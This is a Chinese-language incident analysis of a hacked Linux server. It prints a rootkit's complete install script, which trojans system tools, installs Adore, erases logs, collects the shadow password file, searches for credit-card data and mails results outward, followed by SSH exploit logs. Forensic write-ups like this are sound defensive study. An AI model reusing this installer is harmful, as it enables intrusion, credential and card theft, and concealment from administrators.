Linux系统的入侵分析

hackobe

Linux系统的入侵分析
Linux系统的入侵分析
本来也不知道自己的机器有人进来了，因为放在内部，能经过NAT进来的几乎是
不可能的，但无意登陆机器随便看看，发现有个glibc的动态库不见了，立刻到
message
那看看，什么都没有。FT，立刻启动备份机器，把硬盘拔出来，插到我的其他服务
器上检查。唉，果然。。。
[root@mail a]# la- la
bash: la-: command not found
[root@mail a]# ls -la
total 704
drwxr-xr-x 23 root root 4096 Feb 2 08:08 .
drwxr-xr-x 7 root root 4096 Feb 5 18:15 ..
drwxr-xr-x 2 root root 4096 Oct 27 1999 .automount
drwxr-xr-x 2 root root 4096 Nov 23 20:26 CVS
drwxr-xr-x 2 root root 4096 Feb 2 08:08 bin
drwxr-xr-x 2 root root 4096 Feb 3 17:55 boot
drwxr-xr-x 2 root root 4096 Nov 23 22:04 command
-rw------- 1 root root 241664 Jan 28 23:01 core
就是这里溢出啦,看来是FTP或者SSH的问题，内部实验机器，内部IP
就懒得升级，结果。。。等下再gdm你好了。
drwxr-xr-x 7 root root 36864 Feb 2 08:08 dev
-rw-r--r-- 1 root root 330646 Feb 2 08:08 eddyrk.tar.gz
真要命，直接放，搞不懂是高手失误还是只会用别人的程序。
drwxr-xr-x 38 root root 4096 Feb 4 23:23 etc
drwxr-xr-x 2 root root 4096 Nov 23 20:20 home
drwxr-xr-x 4 root root 4096 Nov 23 20:30 lib
drwxr-xr-x 2 root root 16384 Nov 23 20:20 lost+found
drwxr-xr-x 2 root root 4096 Oct 31 1999 misc
drwxr-xr-x 4 root root 4096 Nov 23 20:26 mnt
drwxr-xr-t 3 root root 4096 Nov 23 22:03 package
dr-xr-xr-x 2 root root 4096 Feb 7 1996 proc
drwxr-xr-x 2 qmails 507 4096 Dec 14 21:40 rk
就是这个rootkit！看来很多人用这个呢
drwxr-xr-x 6 root root 4096 Feb 2 23:46 root
drwxr-xr-x 3 root root 4096 Feb 2 08:08 sbin
看到这2个目录没有，已经给改动过了，不可信任。
drwxr-xr-x 2 root root 4096 Nov 23 21:40 service
drwxrwxrwt 3 root root 4096 Feb 4 23:01 tmp
drwxr-xr-x 16 root root 4096 Nov 23 20:29 usr
drwxr-xr-x 2 root root 4096 Nov 23 20:20 var
[root@mail a]# date
星期二 02 5 18:28:17 CST 2002
[root@mail rk]# cat install
#!/bin/sh
unset HISTFILE
STARTDIR=****pwd****
CARDLOG="/usr/lib/locale/ro_RO/uboot/card.log"
这个程序的作者真不是人，连别人的信用卡都偷！
SMP=****uname -a | grep smp | wc -l****
还真的没考虑过入侵需要考虑是否SMP呢
clear
echo "***** devhda1****s aka Mithra****s rootkit *****"
echo "* greetz 2 bogonel and Amorph|s *"
echo "* This is the RedHat 7.0 build *"
echo "********************************************"
sleep 2
clear
echo "Please wait while Setup is preparing your directory ... "
sleep 5
clear
echo "Heh, sounds like f***in' Windoze, doesn't it ? :) "
sleep 2
clear
DIR="/usr/lib/locale/ro_RO/uboot"
mkdir -p $DIR
mkdir -p $DIR/etc
cp -f * $DIR/ >>/dev/null 少有的清空方式，这样就没办法追查INODE了。
cd $DIR
echo "Installing trojaned system files ..."
echo "

Process tools ..."
替换查看进程命令，FT
echo " |---ps"
chattr -aiu /bin/ps
./sz /bin/ps ps
mv -f ps /bin/ps
chattr +aiu /bin/ps
echo " | \"
echo " | |-- done replacing ps "
sleep 1
echo " |---pstree"
chattr -aiu /usr/bin/pstree
./sz /usr/bin/pstree pstree
mv -f pstree /usr/bin/pstree
chattr +aiu /usr/bin/pstree
echo " | \"
echo " | |-- done replacing pstree "
sleep 1
echo " |---top"
chattr -aiu /usr/bin/top
./sz /usr/bin/top top
mv -f top /usr/bin/top
chattr +aiu /usr/bin/top
echo " | \"
echo " | |-- done replacing top "
echo " |----|"
sleep 5
echo "

Network tools ..."
替换网络命令，FT，毒
echo " |---netstat"
chattr -aiu /bin/netstat
./sz /bin/netstat netstat
mv -f netstat /bin/netstat
chattr +aiu /bin/netstat
echo " | \"
echo " | |-- done replacing netstat "
sleep 1
echo " |---ifconfig"
chattr -aiu /sbin/ifconfig
./sz /sbin/ifconfig ifconfig
mv -f ifconfig /sbin/ifconfig
chattr +aiu /sbin/ifconfig
echo " | \"
echo " | |-- done replacing ifconfig "
#echo " |---inetd"
贱啊，什么都换了
#chattr -aiu /usr/sbin/inetd
#./sz /usr/sbin/inetd inetd
#mv -f inetd /usr/sbin/inetd
#chattr +aiu /usr/sbin/inetd
#echo " | \"
#echo " | |-- done replacing inetd "
sleep 1
echo " |---tcpd"
chattr -aiu /usr/sbin/tcpd
./sz /usr/sbin/tcpd tcpd
mv -f tcpd /usr/sbin/tcpd
chattr +aiu /usr/sbin/tcpd
echo " | \"
echo " | |-- done replacing tcpd "
echo " |----|"
sleep 1
echo "

Filesystem tools ..."
换了查找命令
echo " |---find"
chattr -aiu /usr/bin/find
./sz /usr/bin/find find
mv -f find /usr/bin/find
chattr +aiu /usr/bin/find
echo " | \"
echo " | |-- done replacing find "
sleep 1
echo " |---ls"
chattr -aiu /bin/ls
./sz /bin/ls ls
mv -f ls /bin/ls
chattr +aiu /bin/ls
echo " | \"
echo " | |-- done replacing ls "
echo " |----|"
echo " |---dir"
chattr -aiu /usr/bin/dir
./sz /usr/bin/dir dir
mv -f dir /usr/bin/dir
chattr +aiu /usr/bin/dir
echo " | \"
echo " | |-- done replacing dir "
echo " |----|"
sleep 1
echo "

System tools ..."
echo " |---syslogd"
chattr -aiu /sbin/syslogd
./sz /sbin/syslogd syslogd
mv -f syslogd /sbin/syslogd
chattr +aiu /sbin/syslogd
echo " | \"
echo " | |-- done replacing syslog "
echo " |----|"
删除所有log文件，不过这里写得不好。
用不删除，清内容更好。
rm -f /var/log/messages
touch /var/log/messages
/etc/rc.d/init.d/syslog restart
sleep 1
echo "

Placing configuration files in $DIR/etc/ ..."
mv -f netstatrc $DIR/etc/netstatrc
mv -f procrc $DIR/etc/procrc
mv -f filerc $DIR/etc/filerc
mv -f logrc $DIR/etc/logrc
sleep 1
开始编译外挂进程了，还好，不是LKM
echo "

Trying to install ADORE ..."
if [ -x /usr/bin/gcc ];
then
echo "GCC is present"
if [ -d /usr/src/linux ];
then
if [ $SMP -eq 0 ];
then
echo "We have a machine without SMP support"
cp -f Makefile.non-smp Makefile
else
echo "This machine supports SMP"
cp -f Makefile.smp Makefile
fi
make
mv -f ava /usr/bin/weather
还改头换面呢，呵呵~~
rm -f *.c *.h Makefile*
echo "ADORE is now installed ..."
else
echo "Kernel sources are not installed. Cannot install ADORE !"
fi
else
echo "GCC is not installed. Cannot install ADORE !"
fi
echo "

Replacing /etc/rc.d/init.d/network with ours ..."
mv -f network /etc/rc.d/init.d/network
sleep 5
mv -f twist2open /usr/bin/
echo "

Starting services ..."
#echo " |---backdoor ..."
#echo " |---sniffer ..."
加了后门还开SNIFFER，哼哼
#echo " |---bnc ..."
/usr/bin/twist2open &
echo " | \"
echo " | |-- done"
echo " |----|"
rm -f ./*pid* /*pid* /*log*
sleep 5
echo "

Gathering system info ..."
echo " |---uname -a"
uname -a >>file
echo " |---ifconfig"
/sbin/ifconfig >>file
echo "|------" >>file
echo " |---passwd file"
cat /etc/passwd >>file
echo " |---shadow file"
echo "|------" >>file
cat /etc/shadow >>file
哇！！！！我的密码啊！！！！！！！
echo " |---ping statistics"
ping -c 5 216.115.108.245 >>file
echo " | \"
echo " | |-- done"
echo "

Fixing vulns ..."
echo " |---.bash_history"
chattr +ia /root/.bash_history
聪明！的确要佩服这个作者了
echo " |---ftpd"
chmod -s /var/ftp/*
echo " |---rpc"
chmod -s /usr/bin/rpc*
chmod -s /usr/sbin/rpc*
chmod -s /sbin/rpc*
echo " |---named"
chmod -s /var/named
所有应用程序都加上了SUID，幸亏我从来不用默认的服务的
sleep 5
echo " | \"
echo " | |-- done"
echo " |----|"
echo "

Cleaning logs. This will take a while ..."
开始清除LOG，进行收尾工作。
./logcleaner ftp >>/dev/null
./logcleaner rpc >>/dev/null
./logcleaner named >>/dev/null
./logcleaner yahoo >>/dev/null
./logcleaner bind >>/dev/null
./logcleaner geocities >>/dev/null
./logcleaner hypermart >>/dev/null
./logcleaner syslogd >>/dev/null
sleep 1
echo " | \"
echo " | |-- done"
echo " |----|"
echo "

Mailing system information ..."
mail -s "****uname -a****" ja_ja_j@yahoo.com >$CARDLOG
egrep -ir 'mastercard|visa' /var|egrep -v cache >>$CARDLOG
egrep -ir 'mastercard|visa' /root|egrep -v cache >>$CARDLOG
if [ -d /www ];
then
egrep -ir 'mastercard|visa' /www|egrep -v cache >>$CARDLOG
fi
这些代码就很有问题了，我在怀疑作者的人格了。
echo "Rootkit successfully installed. Enjoy !"
继续分析
[root@mail log]# cat secure
Jan 28 23:28:17 dnscache in.ftpd[2767]: connect from 192.168.100.26
Jan 28 23:28:17 dnscache in.ftpd[2767]: error: cannot execute
/usr/sbin/in.ftpd: No such file or directory
Jan 30 04:44:05 dnscache in.telnetd[3891]: connect from 192.168.100.
141
Jan 30 17:41:17 dnscache in.telnetd[4199]: connect from 211.155.24.246
Jan 31 00:52:23 dnscache login: FAILED LOGIN 1 FROM (null) FOR , User
not known to the underlying authentication module
Jan 31 19:13:57 dnscache in.telnetd[872]: connect from 192.168.100.141
Feb 1 04:03:46 dnscache in.telnetd[1143]: connect from 192.168.100.25
Feb 1 04:12:23 dnscache in.telnetd[1166]: connect from 192.168.100.25
Feb 1 07:34:10 dnscache in.telnetd[1282]: connect from 211.155.24.246
Feb 2 07:05:13 dnscache in.telnetd[1927]: connect from 218.17.238.238
Feb 2 07:16:47 dnscache in.telnetd[1928]: connect from 218.17.238.238
~~~~~~~~~~~~~~~~~~~~~~~~~~~~问题来了，那是ADSL用户，而我是在内网
，怎么可能进来的？FT，要检讨内部安全问题了。
看一下wtmp先：恩。。。正常
pts/0
chair
192.168.100.25
pts/0
pts/0
chair
192.168.100.25
pts/0
pts/0
chair
211.155.24.246
pts/0
runlevel
tty1

Received: (from root@localhost)
by dnscache.i-168.com (8.9.3/8.9.3) id FAA23746
for root; Sun, 2 Dec 2001 05:01:00 +0800
Date: Sun, 2 Dec 2001 05:01:00 +0800
From: root  
Message-Id:  
To: root@dnscache.i-168.com
Subject: dnscache.i-168.com 12/02/01:05.01 system check
Unusual System Events
=-=-=-=-=-=-=-=-=-=-=
*************** 问题大大的明显！！FT，我的错。
*** WARNING ***: Log file /var/log/messages is smaller than last time
checked!
*************** This could indicate tampering.
Dec 2 04:02:00 dnscache syslogd 1.3-3: restart.
Dec 2 04:02:01 dnscache syslogd 1.3-3: restart.
Dec 2 04:02:01 dnscache syslogd 1.3-3: restart.
***************
*** WARNING ***: Log file /var/log/secure is smaller than last time
checked!
*************** This could indicate tampering.
***************
*** WARNING ***: Log file /var/log/maillog is smaller than last time
checked!
*************** This could indicate tampering.
From root Sun Dec 9 04:02:01 2001
Return-Path:  
Received: (from root@localhost)
by dnscache.i-168.com (8.9.3/8.9.3) id EAA11188
for root; Sun, 9 Dec 2001 04:02:01 +0800
Date: Sun, 9 Dec 2001 04:02:01 +0800
From: root  
Message-Id:  
To: root@dnscache.i-168.com
Subject: errors rotating logs
errors occured while rotating /var/log/httpd/access_log
httpd: no process killed
error running postrotate script
Unusual System Events
=-=-=-=-=-=-=-=-=-=-=
***************
*** WARNING ***: Log file /var/log/messages is smaller than last time
checked!
*************** This could indicate tampering.
Dec 9 04:02:01 dnscache syslogd 1.3-3: restart.
Dec 9 04:02:01 dnscache syslogd 1.3-3: restart.
Dec 9 04:02:01 dnscache syslogd 1.3-3: restart.
***************
*** WARNING ***: Log file /var/log/secure is smaller than last time
checked!
From root Wed Jan 16 04:01:01 2002
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by dnscache.i-168.com (8.9.3/8.9.3) id EAA16976
for root; Wed, 16 Jan 2002 04:01:01 +0800
Date: Wed, 16 Jan 2002 04:01:01 +0800
From: root  
Message-Id:  
To: root@dnscache.i-168.com
Subject: dnscache.i-168.com 01/16/02:04.01 system check
Unusual System Events
=-=-=-=-=-=-=-=-=-=-=
Jan 16 03:41:35 dnscache sshd[16485]: log: Connection from 200.184.184.
51 port 3997
Jan 16 03:41:36 dnscache sshd[16485]: fatal: Did not receive ident
string. 扫描吧，哈哈~~
From root Mon Jan 21 18:01:01 2002
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by dnscache.i-168.com (8.9.3/8.9.3) id SAA19794
for root; Mon, 21 Jan 2002 18:01:01 +0800
Date: Mon, 21 Jan 2002 18:01:01 +0800
From: root  
Message-Id:  
To: root@dnscache.i-168.com
Subject: dnscache.i-168.com 01/21/02:18.01 ACTIVE SYSTEM ATTACK!
HOHO~~~~原来是SSH的问题，我的SSH是那个什么破STARLINUX自带的，
1．X吧，因为是实验机器，懒得升级，FT。问题来了
Active System Attack Alerts
=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jan 21 17:39:18 dnscache sshd[18176]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:04 dnscache sshd[18224]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:18 dnscache sshd[18236]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:25 dnscache sshd[18241]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:33 dnscache sshd[18244]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:52 dnscache sshd[18252]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:06 dnscache sshd[18262]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:13 dnscache sshd[18265]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:26 dnscache sshd[18273]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:29 dnscache sshd[18276]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:32 dnscache sshd[18279]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:36 dnscache sshd[18280]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:39 dnscache sshd[18283]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:43 dnscache sshd[18286]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:46 dnscache sshd[18287]: fatal: Local: crc32 compensation
attack: network attack detected
Security Violations
=-=-=-=-=-=-=-=-=-=
Jan 21 17:39:18 dnscache sshd[18176]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:04 dnscache sshd[18224]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:18 dnscache sshd[18236]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:25 dnscache sshd[18241]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:33 dnscache sshd[18244]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:52 dnscache sshd[18252]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:06 dnscache sshd[18262]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:13 dnscache sshd[18265]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:26 dnscache sshd[18273]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:29 dnscache sshd[18276]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:32 dnscache sshd[18279]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:36 dnscache sshd[18280]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:39 dnscache sshd[18283]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:43 dnscache sshd[18286]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:46 dnscache sshd[18287]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:50 dnscache sshd[18290]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:53 dnscache sshd[18293]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:57 dnscache sshd[18294]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:00 dnscache sshd[18297]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:03 dnscache sshd[18300]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:07 dnscache sshd[18303]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:10 dnscache sshd[18304]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:18 dnscache sshd[18310]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:35:47 dnscache sshd[18052]: log: Connection from 141.108.9.
13 port 4639
Jan 21 17:35:47 dnscache sshd[18053]: log: Connection from 141.108.9.
13 port 4648
Jan 21 17:35:49 dnscache sshd[18053]: fatal: Local: Your ssh version
is too old and is no longer supported. Pl
ease install a newer version.
原来是这个家伙！但IP很古怪，是不是肉鸡？？
Jan 21 17:35:49 dnscache sshd[18056]: log: Connection from 141.108.9.
13 port 4651
Jan 21 17:36:36 dnscache sshd[18075]: log: Connection from 141.108.9.
13 port 4674
Jan 21 17:36:39 dnscache sshd[18078]: log: Connection from 141.108.9.
13 port 4676
Jan 21 17:36:42 dnscache sshd[18078]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:36:43 dnscache sshd[18079]: log: Connection from 141.108.9.
13 port 4679
Jan 21 17:36:46 dnscache sshd[18082]: log: Connection from 141.108.9.
13 port 4682
Jan 21 17:36:49 dnscache sshd[18082]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:36:50 dnscache sshd[18085]: log: Connection from 141.108.9.
13 port 4685
Jan 21 17:36:53 dnscache sshd[18085]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:36:53 dnscache sshd[18088]: log: Connection from 141.108.9.
13 port 4687
Jan 21 17:36:57 dnscache sshd[18089]: log: Connection from 141.108.9.
13 port 4690
Jan 21 17:37:00 dnscache sshd[18089]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:37:00 dnscache sshd[18092]: log: Connection from 141.108.9.
13 port 4692
Jan 21 17:37:04 dnscache sshd[18095]: log: Connection from 141.108.9.
13 port 4694
Jan 21 17:37:07 dnscache sshd[18095]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:37:08 dnscache sshd[18096]: log: Connection from 141.108.9.
13 port 4697
Jan 21 17:37:12 dnscache sshd[18099]: log: Connection from 141.108.9.
13 port 4699
Jan 21 17:37:24 dnscache sshd[18099]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:37:25 dnscache sshd[18106]: log: Connection from 141.108.9.
13 port 4705
Jan 21 17:37:28 dnscache sshd[18106]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:37:28 dnscache sshd[18109]: log: Connection from 141.108.9.
13 port 4708
Jan 21 17:37:28 dnscache sshd[18106]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:37:28 dnscache sshd[18109]: log: Connection from 141.108.9.
13 port 4708
Jan 21 17:37:31 dnscache sshd[18109]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:37:32 dnscache sshd[18110]: log: Connection from 141.108.9.
13 port 4712
Jan 21 17:37:36 dnscache sshd[18113]: log: Connection from 141.108.9.
13 port 4713
Jan 21 17:37:40 dnscache sshd[18116]: log: Connection from 141.108.9.
13 port 4715
Jan 21 17:37:43 dnscache sshd[18116]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:37:43 dnscache sshd[18119]: log: Connection from 141.108.9.
13 port 4719
Jan 21 17:37:47 dnscache sshd[18120]: log: Connection from 141.108.9.
13 port 4720
Jan 21 17:37:51 dnscache sshd[18123]: log: Connection from 141.108.9.
13 port 1265Jan 21 17:41:12 dnscache sshd[18236]: log: Connection from
141.108.9.13 port 2326
Jan 21 17:41:18 dnscache sshd[18236]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:19 dnscache sshd[18241]: log: Connection from 141.108.9.
13 port 2762
Jan 21 17:41:25 dnscache sshd[18241]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:26 dnscache sshd[18244]: log: Connection from 141.108.9.
13 port 4015
Jan 21 17:41:33 dnscache sshd[18244]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:33 dnscache sshd[18247]: log: Connection from 141.108.9.
13 port 4017
Jan 21 17:41:40 dnscache sshd[18252]: log: Connection from 141.108.9.
13 port 4019
Jan 21 17:41:52 dnscache sshd[18252]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:41:52 dnscache sshd[18257]: log: Connection from 141.108.9.
13 port 1049
Jan 21 17:41:59 dnscache sshd[18262]: log: Connection from 141.108.9.
13 port 1051
Jan 21 17:42:06 dnscache sshd[18262]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:07 dnscache sshd[18265]: log: Connection from 141.108.9.
13 port 1945
Jan 21 17:42:13 dnscache sshd[18265]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:14 dnscache sshd[18270]: log: Connection from 141.108.9.
13 port 3191
Jan 21 17:42:23 dnscache sshd[18273]: log: Connection from 141.108.9.
13 port 4027
Jan 21 17:42:26 dnscache sshd[18273]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:26 dnscache sshd[18276]: log: Connection from 141.108.9.
13 port 1110
Jan 21 17:42:29 dnscache sshd[18276]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:30 dnscache sshd[18279]: log: Connection from 141.108.9.
13 port 1557
Jan 21 17:42:32 dnscache sshd[18279]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:33 dnscache sshd[18280]: log: Connection from 141.108.9.
13 port 2124
Jan 21 17:42:36 dnscache sshd[18280]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:36 dnscache sshd[18283]: log: Connection from 141.108.9.
13 port 2630
Jan 21 17:42:39 dnscache sshd[18283]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:40 dnscache sshd[18286]: log: Connection from 141.108.9.
13 port 3184
Jan 21 17:42:43 dnscache sshd[18286]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:43 dnscache sshd[18287]: log: Connection from 141.108.9.
13 port 3915
Jan 21 17:42:46 dnscache sshd[18287]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:42:47 dnscache sshd[18290]: log: Connection from 141.108.9.
13 port 3918
an 21 17:43:01 dnscache sshd[18300]: log: Connection from 141.108.9.13
port 1033
Jan 21 17:43:03 dnscache sshd[18300]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:04 dnscache sshd[18303]: log: Connection from 141.108.9.
13 port 1034
Jan 21 17:43:07 dnscache sshd[18303]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:08 dnscache sshd[18304]: log: Connection from 141.108.9.
13 port 1036
Jan 21 17:43:10 dnscache sshd[18304]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:11 dnscache sshd[18307]: log: Connection from 141.108.9.
13 port 1586
Jan 21 17:43:14 dnscache sshd[18307]: fatal: Local: Corrupted check
bytes on input.
Jan 21 17:43:15 dnscache sshd[18310]: log: Connection from 141.108.9.
13 port 2150
Jan 21 17:43:18 dnscache sshd[18310]: fatal: Local: crc32 compensation
attack: network attack detected
Jan 21 17:43:18 dnscache sshd[18311]: log: Connection from 141.108.9.
13 port 2665
Jan 21 17:43:22 dnscache sshd[18314]: log: Connection from 141.108.9.
13 port 3162
Jan 21 17:43:30 dnscache sshd[18319]: log: Connection from 141.108.9.
13 port 4975
Jan 21 17:43:34 dnscache sshd[18320]: log: Connection from 141.108.9.
13 port 1512
从开始连接到溢出只是用了10来分钟，看来SSH1.X不能用了。
Jan 21 17:45:48 dnscache sshd[18052]: fatal: Timeout before
authentication.
Jan 21 17:47:37 dnscache adduser[18423]: new user: name=cgi, uid=0,
gid=0, home=/home/cgi, shell=/bin/bash
加帐号了，5~~~~~
Jan 21 17:47:52 dnscache PAM_pwdb[18426]: password for (cgi/0) changed
by ((null)/0)
Jan 21 17:48:00 dnscache PAM_pwdb[18433]: password for (operator/11)
changed by ((null)/0)
干吗改自己的密码呢？有问题。
Jan 21 17:48:18 dnscache sshd[18442]: log: Connection from 80.96.178.195
port 1465
Jan 21 17:48:20 dnscache sshd[18442]: log: Could not reverse map address
80.96.178.195.
Jan 21 17:48:28 dnscache sshd[18442]: log: Password authentication for
operator accepted.
Jan 21 17:49:12 dnscache sshd[18484]: log: Connection from 80.96.178.194
port 2274
Jan 21 17:49:12 dnscache sshd[18484]: log: Could not reverse map address
80.96.178.194.
Jan 21 17:49:20 dnscache sshd[18484]: log: Password authentication for
operator accepted.
情况很明显了，用了多个IP干活，能确定是肉鸡了，FT。
Jan 21 17:50:30 dnscache sshd[18484]: fatal: Read error from remote
host: Connection reset by peer
Jan 21 17:51:08 dnscache sshd[18555]: log: Connection from 80.96.178.194
port 2281
Jan 21 17:51:08 dnscache sshd[18555]: log: Could not reverse map address
80.96.178.194.
Jan 21 17:51:19 dnscache sshd[18555]: log: Password authentication for
operator accepted.
Jan 21 17:58:11 dnscache sshd[18442]: fatal: Read error from remote
host: Connection reset by peer
by dnscache.i-168.com (8.9.3/8.9.3) id TAA23666
for root; Mon, 21 Jan 2002 19:01:01 +0800
Date: Mon, 21 Jan 2002 19:01:01 +0800
From: root  
Message-Id:  
To: root@dnscache.i-168.com
Subject: dnscache.i-168.com 01/21/02:19.01 system check
Unusual System Events
=-=-=-=-=-=-=-=-=-=-=
Jan 21 18:17:41 dnscache sshd[270]: log: Generating new 768 bit RSA
key.
Jan 21 18:17:41 dnscache sshd[270]: log: RSA key generation complete.
Jan 21 19:00:16 dnscache sshd[23334]: log: Connection from 80.96.178.195
port 1519
Jan 21 19:00:16 dnscache sshd[23334]: log: Could not reverse map address
80.96.178.195.
Jan 21 19:00:25 dnscache sshd[23334]: log: Password authentication for
operator accepted.
From root Mon Jan 21 20:01:02 2002
Return-Path:  
Received: (from root@localhost)
by dnscache.i-168.com (8.9.3/8.9.3) id UAA29460
for root; Mon, 21 Jan 2002 20:01:01 +0800
Date: Mon, 21 Jan 2002 20:01:01 +0800
From: root  
Message-Id:  
To: root@dnscache.i-168.com
Subject: dnscache.i-168.com 01/21/02:20.01 system check
Unusual System Events
=-=-=-=-=-=-=-=-=-=-=
Jan 21 19:01:54 dnscache sshd[23334]: fatal: Read error from remote
host: Connection reset by peer
Jan 21 19:13:33 dnscache sshd[23975]: log: Connection from 80.96.178.194
port 2406
Jan 21 19:13:33 dnscache sshd[23975]: log: Could not reverse map address
80.96.178.194.
Jan 21 19:13:44 dnscache sshd[23975]: log: Password authentication for
operator accepted.
Jan 21 19:17:41 dnscache sshd[270]: log: Generating new 768 bit RSA
key.
有新机器进来呢，FT，不是好兆头
重启
From root Mon Jan 21 23:01:00 2002
Return-Path:  
Received: (from root@localhost)
by dnscache.i-168.com (8.9.3/8.9.3) id XAA00309
for root; Mon, 21 Jan 2002 23:01:00 +0800
Date: Mon, 21 Jan 2002 23:01:00 +0800
From: root  
Message-Id:  
To: root@dnscache.i-168.com
Subject: dnscache.i-168.com 01/21/02:23.01 system check
Feb 2 07:28:18 dnscache sshd[1991]: log: Connection from 24.112.92.
135 port 3854
Feb 2 07:28:21 dnscache sshd[1992]: log: Connection from 24.112.92.
135 port 3855
Feb 2 07:28:30 dnscache sshd[1992]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:28:31 dnscache sshd[1993]: log: Connection from 24.112.92.
135 port 3856
Feb 2 07:28:34 dnscache sshd[1993]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:28:34 dnscache sshd[1994]: log: Connection from 24.112.92.
135 port 3857
Feb 2 07:28:39 dnscache sshd[1994]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:28:40 dnscache sshd[1995]: log: Connection from 24.112.92.
135 port 3858
Feb 2 07:28:44 dnscache sshd[1995]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:28:46 dnscache sshd[1996]: log: Connection from 24.112.92.
135 port 3859
Feb 2 07:28:49 dnscache sshd[1996]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:28:49 dnscache sshd[1997]: log: Connection from 24.112.92.
135 port 3860
Feb 2 07:28:54 dnscache sshd[1997]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:28:55 dnscache sshd[1998]: log: Connection from 24.112.92.
135 port 3861
Feb 2 07:28:59 dnscache sshd[1998]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:28:59 dnscache sshd[1999]: log: Connection from 24.112.92.
135 port 3862
Feb 2 07:29:05 dnscache sshd[1999]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:29:06 dnscache sshd[2000]: log: Connection from 24.112.92.
135 port 3863
Feb 2 07:29:09 dnscache sshd[2000]: fatal: Local: crc32 compensation
attack: network attack detected
Feb 2 07:29:10 dnscache sshd[2001]: log: Connection from 24.112.92.
135 port 3864
Feb 2 07:29:15 dnscache sshd[2001]: fatal: Local: crc32 compensation
attack: network attack detected
From root Sat Feb 2 08:09:26 2002
Return-Path:  
Received: from localhost (localhost)
by dnscache.i-168.com (8.9.3/8.9.3) with internal id IAA02520;
Sat, 2 Feb 2002 08:09:25 +0800
Date: Sat, 2 Feb 2002 08:09:25 +0800
From: Mail Delivery Subsystem  
Message-Id:  
To: root@dnscache.i-168.com
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="IAA02520.1012608565/dnscache.i-168.com"
Subject: Returned mail: Service unavailable
Auto-Submitted: auto-generated (failure)
This is a MIME-encapsulated message
--IAA02520.1012608565/dnscache.i-168.com
The original message was received at Sat, 2 Feb 2002 08:09:22 +0800
from root@localhost
----- The following addresses had permanent fatal errors -----
